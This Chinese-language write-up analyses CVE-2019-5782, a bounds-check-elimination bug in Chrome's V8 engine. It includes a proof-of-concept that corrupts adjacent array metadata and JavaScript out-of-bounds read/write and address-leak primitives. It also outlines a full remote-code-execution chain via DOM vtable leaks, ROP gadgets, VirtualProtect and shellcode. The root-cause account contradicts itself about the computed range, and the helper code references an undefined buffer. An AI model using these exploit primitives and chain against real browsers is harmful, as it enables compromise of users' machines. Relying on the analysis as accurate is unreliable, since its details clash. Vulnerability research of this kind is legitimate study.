CVE-2019-5782: Inappropriate implementation in V8 漏洞利用
字数 1661 2025-08-27 12:33:37
CVE-2019-5782: V8引擎实现不当漏洞分析与利用
漏洞概述
CVE-2019-5782是Google Chrome V8 JavaScript引擎中的一个类型混淆漏洞,由于V8引擎对数组边界检查的不当优化导致。该漏洞允许攻击者通过精心构造的JavaScript代码实现越界读写,最终可能导致远程代码执行。
漏洞原理
根本原因
漏洞源于V8引擎在优化阶段对SpeculativeNumberShiftRight操作的range计算错误。在typer phase阶段,由于尚未对Load操作进行处理,导致第一次对NumberShiftRight进行range analysis时,错误地将其范围设置为int32的最大和最小值(-2147483648到2147483647)。
具体分析
-
初始范围分析错误:
- 在typer phase,
SpeculativeNumberShiftRight操作的范围被错误计算为Range(-32768, 32767) - 这是因为输入参数的范围被错误地认为是int32的完整范围
- 在typer phase,
-
后续优化阶段:
- 在typer lowering phase,
JSCreateArray被reduce成ArgumentsLength - 此时正确的范围应该是
Range(0, 65534)(因为kMaxArguments定义为(1 << 16) - 2) - 但在simplified lowering phase,由于之前的错误范围分析,边界检查被错误地移除
- 在typer lowering phase,
-
边界检查移除:
- 在
VisitCheckBounds函数中,由于优化器错误地认为索引始终小于数组长度,移除了边界检查 - 这导致后续可以越界访问数组元素
- 在
漏洞验证
PoC代码
// Flags: --allow-natives-syntax
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1,2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 10000; i++) fun(...a4);
fun(...a3);
for (i = 0; i < a2.length; i++){
console.log(a2[i]);
}
console.log(a2.length);
漏洞表现
- 正常情况下,
x >> 16应该为1(当x=65536时) - 但由于范围分析错误,优化器认为结果为0
- 这导致数组访问越界,可以修改相邻数组的长度等元数据
漏洞利用
利用步骤
-
构造越界读写原语:
- 通过越界写修改相邻数组的长度,创建"oob"数组
- 使用这个oob数组实现任意地址读写
-
泄露对象地址:
- 创建一个对象数组与oob数组相邻
- 通过oob数组读取对象指针
-
获取模块基地址:
- 泄露DOM对象地址
- 通过DOM对象的vtable找到chrome_child.dll基地址
- 通过导入表找到kernel32.dll和ntdll.dll基地址
-
构造ROP链:
- 在内存中布置ROP gadget
- 使用栈劫持技术跳转到ROP链
-
执行shellcode:
- 使用VirtualProtect修改内存属性为可执行
- 跳转到shellcode执行
关键利用代码
// 构造越界读写原语
a1 = new Array(0x10);
a1[0] = 1.1;
oob_double_Array = new Array(0x10);
oob_double_Array[0] = 1.1;
object_Array = new Array(0x10);
object_Array[0] = {};
object_Array[1] = leak;
x = x >> 16;
a1[x * 19] = 2.60750842793813e-310; // 0x0000300000000000
a1[x * 21] = 2.60750842793813e-310; // 0x0000300000000000
a1[x * 41] = 2.60750842793813e-310; // 0x0000300000000000
// 任意地址读写函数
function writePtr(offset, address, value) {
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
fake_dv[0] = value;
}
function readPtr(offset, address) {
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
return fake_dv[0];
}
// 泄露对象地址
function user_space_read(leak) {
object_Array[1] = leak;
return oob_double_Array[23];
}
完整利用链
-
初始化阶段:
- 准备大数组触发优化
- 执行漏洞函数触发越界写
-
内存布局:
- 创建相邻的浮点数组和对象数组
- 通过越界写修改浮点数组长度
-
信息泄露:
- 泄露JavaScript函数地址
- 泄露DOM对象地址
- 计算chrome_child.dll基地址
-
ROP链构造:
- 查找需要的gadget:
pop rcx; retpop rdx; retpop r8; retpop r9; ret
- 准备VirtualProtect调用参数
- 查找需要的gadget:
-
执行控制:
- 伪造vtable实现虚函数调用劫持
- 通过DOM事件触发执行流劫持
- 执行ROP链修改内存属性
- 跳转到shellcode
防御措施
- 更新Chrome浏览器:确保使用已修复此漏洞的版本
- 启用沙箱:利用Chrome的沙箱机制限制漏洞影响
- 禁用不必要的JavaScript功能:减少攻击面
- 使用控制流保护:如CFG、CET等技术增加利用难度
总结
CVE-2019-5782展示了现代JavaScript引擎中类型系统和优化器交互可能引入的安全问题。通过精心构造的JavaScript代码,攻击者可以绕过边界检查实现越界访问,最终导致远程代码执行。理解此类漏洞有助于开发者编写更安全的代码和安全研究人员分析类似的漏洞模式。